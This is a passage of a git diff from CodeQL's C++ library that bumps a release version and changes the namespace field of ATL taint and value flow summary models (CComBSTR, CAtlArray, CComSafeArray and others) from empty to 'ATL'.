-lastReleaseVersion: 4.0.3
+lastReleaseVersion: 4.1.0
diff --git a/cpp/ql/lib/ext/CA2CAEX.model.yml b/cpp/ql/lib/ext/CA2CAEX.model.yml
index ee1d53a537cb..6370e452b099 100644
--- a/cpp/ql/lib/ext/CA2CAEX.model.yml
+++ b/cpp/ql/lib/ext/CA2CAEX.model.yml
@@ -3,16 +3,16 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "_U_STRINGorID", True, "_U_STRINGorID", "(UINT)", "", "Argument[0]", "Argument[-1].Field[*m_lpstr]", "value", "manual"]
-      - ["", "_U_STRINGorID", True, "_U_STRINGorID", "(LPCTSTR)", "", "Argument[*0]", "Argument[-1].Field[*m_lpstr]", "value", "manual"]
-      - ["", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
-      - ["", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
-      - ["", "CA2AEX", True, "operator LPSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
-      - ["", "CA2AEX", True, "operator LPSTR", "", "", "Argument[-1].Field[m_szBuffer]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CA2CAEX", True, "CA2CAEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
-      - ["", "CA2CAEX", True, "operator LPCSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CA2WEX", True, "CA2WEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
-      - ["", "CA2WEX", True, "operator LPWSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CA2WEX", True, "CA2WEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
-      - ["", "CA2WEX", True, "operator LPWSTR", "", "", "Argument[-1].Field[m_szBuffer]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "_U_STRINGorID", True, "_U_STRINGorID", "(UINT)", "", "Argument[0]", "Argument[-1].Field[*m_lpstr]", "value", "manual"]
+      - ["ATL", "_U_STRINGorID", True, "_U_STRINGorID", "(LPCTSTR)", "", "Argument[*0]", "Argument[-1].Field[*m_lpstr]", "value", "manual"]
+      - ["ATL", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
+      - ["ATL", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
+      - ["ATL", "CA2AEX", True, "operator LPSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CA2AEX", True, "CA2AEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
+      - ["ATL", "CA2AEX", True, "operator LPSTR", "", "", "Argument[-1].Field[m_szBuffer]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CA2CAEX", True, "CA2CAEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
+      - ["ATL", "CA2CAEX", True, "operator LPCSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CA2WEX", True, "CA2WEX", "", "", "Argument[*0]", "Argument[-1].Field[*m_psz]", "value", "manual"]
+      - ["ATL", "CA2WEX", True, "operator LPWSTR", "", "", "Argument[-1].Field[*m_psz]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CA2WEX", True, "CA2WEX", "", "", "Argument[*0]", "Argument[-1].Field[m_szBuffer]", "value", "manual"]
+      - ["ATL", "CA2WEX", True, "operator LPWSTR", "", "", "Argument[-1].Field[m_szBuffer]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CAtlArray.model.yml b/cpp/ql/lib/ext/CAtlArray.model.yml
index 29afc0c99598..1b22fcff788c 100644
--- a/cpp/ql/lib/ext/CAtlArray.model.yml
+++ b/cpp/ql/lib/ext/CAtlArray.model.yml
@@ -3,13 +3,13 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CAtlArray", True, "Add", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "Append", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "Copy", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "GetAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CAtlArray", True, "GetData", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CAtlArray", True, "InsertArrayAt", "", "", "Argument[*1].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "InsertAt", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "SetAt", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "SetAtGrow", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlArray", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "Add", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "Append", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "Copy", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "GetAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "GetData", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "InsertArrayAt", "", "", "Argument[*1].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "InsertAt", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "SetAt", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "SetAtGrow", "", "", "Argument[@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlArray", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*]", "value", "manual"]
diff --git a/cpp/ql/lib/ext/CAtlFile.model.yml b/cpp/ql/lib/ext/CAtlFile.model.yml
index 03584d62f037..85205ecfe124 100644
--- a/cpp/ql/lib/ext/CAtlFile.model.yml
+++ b/cpp/ql/lib/ext/CAtlFile.model.yml
@@ -3,7 +3,7 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CAtlFile", True, "CAtlFile", "(CAtlFile &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CAtlFile", True, "CAtlFile", "(HANDLE)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFile", True, "Create", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFile", True, "Read", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CAtlFile", True, "CAtlFile", "(CAtlFile &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CAtlFile", True, "CAtlFile", "(HANDLE)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFile", True, "Create", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFile", True, "Read", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
diff --git a/cpp/ql/lib/ext/CAtlFileMappingBase.model.yml b/cpp/ql/lib/ext/CAtlFileMappingBase.model.yml
index e8ccc9b2fd3b..78b83e8920a4 100644
--- a/cpp/ql/lib/ext/CAtlFileMappingBase.model.yml
+++ b/cpp/ql/lib/ext/CAtlFileMappingBase.model.yml
@@ -3,12 +3,12 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CAtlFileMappingBase", True, "CAtlFileMappingBase", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CAtlFileMappingBase", True, "CopyFrom", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "GetData", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "GetHandle", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "MapFile", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "MapSharedMem", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "OpenMapping", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlFileMappingBase", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CAtlFileMappingBase", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "CAtlFileMappingBase", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "CopyFrom", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "GetData", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "GetHandle", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "MapFile", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "MapSharedMem", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "OpenMapping", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CAtlFileMappingBase", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
diff --git a/cpp/ql/lib/ext/CAtlList.model.yml b/cpp/ql/lib/ext/CAtlList.model.yml
index 6d952f2ca133..4ed1c2a4a9d4 100644
--- a/cpp/ql/lib/ext/CAtlList.model.yml
+++ b/cpp/ql/lib/ext/CAtlList.model.yml
@@ -3,13 +3,13 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CAtlList", True, "AddHead", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "AddHeadList", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "AddTail", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "AddTailList", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "GetAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CAtlList", True, "GetHead", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CAtlList", True, "GetTail", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CAtlList", True, "InsertAfter", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "InsertBefore", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CAtlList", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "AddHead", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "AddHeadList", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "AddTail", "", "", "Argument[*@0]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "AddTailList", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "GetAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "GetHead", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "GetTail", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "InsertAfter", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "InsertBefore", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CAtlList", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
diff --git a/cpp/ql/lib/ext/CAtlTemporaryFile.model.yml b/cpp/ql/lib/ext/CAtlTemporaryFile.model.yml
index 71a05266a2d3..d2486eb1fa1a 100644
--- a/cpp/ql/lib/ext/CAtlTemporaryFile.model.yml
+++ b/cpp/ql/lib/ext/CAtlTemporaryFile.model.yml
@@ -3,6 +3,6 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CAtlTemporaryFile", True, "Create", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CAtlTemporaryFile", True, "Read", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CAtlTemporaryFile", True, "Write", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlTemporaryFile", True, "Create", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CAtlTemporaryFile", True, "Read", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CAtlTemporaryFile", True, "Write", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
diff --git a/cpp/ql/lib/ext/CComBSTR.model.yml b/cpp/ql/lib/ext/CComBSTR.model.yml
index d31f3e36a512..8848905aff10 100644
--- a/cpp/ql/lib/ext/CComBSTR.model.yml
+++ b/cpp/ql/lib/ext/CComBSTR.model.yml
@@ -3,31 +3,31 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CComBSTR", True, "CComBSTR", "(LPCSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "CComBSTR", "(LPCOLESTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "CComBSTR", "(int,LPCSTR)", "", "Argument[*1]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "CComBSTR", "(int,LPCOLESTR)", "", "Argument[*1]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "CComBSTR", "(const CComBSTR &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "CComBSTR", "(CComBSTR &&)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "Append", "(const CComBSTR &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "Append", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "Append", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "Append", "(LPCOLESTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "Append", "(LPCSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "Append", "(LPCOLESTR,int)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "AppendBytes", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "AppendBSTR", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "ArrayToBSTR", "", "", "Argument[*0].Field[*pvData]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "AssignBSTR", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "Attach", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComBSTR", True, "BSTRToArray", "", "", "Argument[-1]", "Argument[**0].Field[*pvData]", "value", "manual"]
-      - ["", "CComBSTR", True, "Copy", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CComBSTR", True, "CopyTo", "", "", "Argument[-1]", "Argument[*0]", "value", "manual"]
-      - ["", "CComBSTR", True, "LoadString", "(HINSTANCE,UINT)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "LoadString", "(UINT)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "ReadFromStream", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CComBSTR", True, "WriteToStream", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CComBSTR", True, "operator BSTR", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CComBSTR", True, "operator&", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CComBSTR", True, "operator+=", "", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CComBSTR", True, "operator+=", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
\ No newline at end of file
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(LPCSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(LPCOLESTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(int,LPCSTR)", "", "Argument[*1]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(int,LPCOLESTR)", "", "Argument[*1]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(const CComBSTR &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CComBSTR", "(CComBSTR &&)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(const CComBSTR &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(LPCOLESTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(LPCSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "Append", "(LPCOLESTR,int)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "AppendBytes", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "AppendBSTR", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "ArrayToBSTR", "", "", "Argument[*0].Field[*pvData]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "AssignBSTR", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "Attach", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "BSTRToArray", "", "", "Argument[-1]", "Argument[**0].Field[*pvData]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "Copy", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "CopyTo", "", "", "Argument[-1]", "Argument[*0]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "LoadString", "(HINSTANCE,UINT)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "LoadString", "(UINT)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "ReadFromStream", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "WriteToStream", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "operator BSTR", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "operator&", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CComBSTR", True, "operator+=", "", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CComBSTR", True, "operator+=", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CComSafeArray.model.yml b/cpp/ql/lib/ext/CComSafeArray.model.yml
index 61aec61e7d2b..0067c7aab081 100644
--- a/cpp/ql/lib/ext/CComSafeArray.model.yml
+++ b/cpp/ql/lib/ext/CComSafeArray.model.yml
@@ -3,24 +3,24 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CComSafeArray", True, "CComSafeArray", "(const CComSafeArray &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CComSafeArray", True, "CComSafeArray", "(const SAFEARRAY &)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "CComSafeArray", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "Add", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray<T>", True, "Add", "(const T &,BOOL)", "", "Argument[*@0]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
-      - ["", "CComSafeArray", True, "Attach", "", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "CopyFrom", "", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "CopyTo", "", "", "Argument[-1].Field[*m_psa]", "Argument[*0]", "value", "manual"]
-      - ["", "CComSafeArray", True, "GetAt", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CComSafeArray", True, "GetLowerBound", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CComSafeArray", True, "GetSafeArrayPtr", "", "", "Argument[-1].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CComSafeArray", True, "GetUpperBound", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CComSafeArray", True, "MultiDimGetAt", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "Argument[*@1]", "value", "manual"]
-      - ["", "CComSafeArray", True, "MultiDimSetAt", "", "", "Argument[*@1]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
-      - ["", "CComSafeArray", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator LPSAFEARRAY", "", "", "Argument[-1].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator[]", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator=", "(const CComSafeArray &)", "", "Argument[*0].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator=", "(const CComSafeArray &)", "", "Argument[*0].Field[*m_psa]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator=", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
-      - ["", "CComSafeArray", True, "operator=", "(const SAFEARRAY *)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CComSafeArray", True, "CComSafeArray", "(const CComSafeArray &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "CComSafeArray", "(const SAFEARRAY &)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "CComSafeArray", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "Add", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray<T>", True, "Add", "(const T &,BOOL)", "", "Argument[*@0]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "Attach", "", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "CopyFrom", "", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "CopyTo", "", "", "Argument[-1].Field[*m_psa]", "Argument[*0]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "GetAt", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "GetLowerBound", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CComSafeArray", True, "GetSafeArrayPtr", "", "", "Argument[-1].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "GetUpperBound", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CComSafeArray", True, "MultiDimGetAt", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "Argument[*@1]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "MultiDimSetAt", "", "", "Argument[*@1]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Field[*m_psa].Field[*@pvData]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator LPSAFEARRAY", "", "", "Argument[-1].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator[]", "", "", "Argument[-1].Field[*m_psa].Field[*@pvData]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator=", "(const CComSafeArray &)", "", "Argument[*0].Field[*m_psa]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator=", "(const CComSafeArray &)", "", "Argument[*0].Field[*m_psa]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator=", "(const SAFEARRAY *)", "", "Argument[*0]", "Argument[-1].Field[*m_psa]", "value", "manual"]
+      - ["ATL", "CComSafeArray", True, "operator=", "(const SAFEARRAY *)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CPathT.model.yml b/cpp/ql/lib/ext/CPathT.model.yml
index 870e7ac55360..874a791a8b23 100644
--- a/cpp/ql/lib/ext/CPathT.model.yml
+++ b/cpp/ql/lib/ext/CPathT.model.yml
@@ -3,21 +3,21 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CPathT", True, "CPathT", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CPathT", True, "AddExtension", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CPathT", True, "Append", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
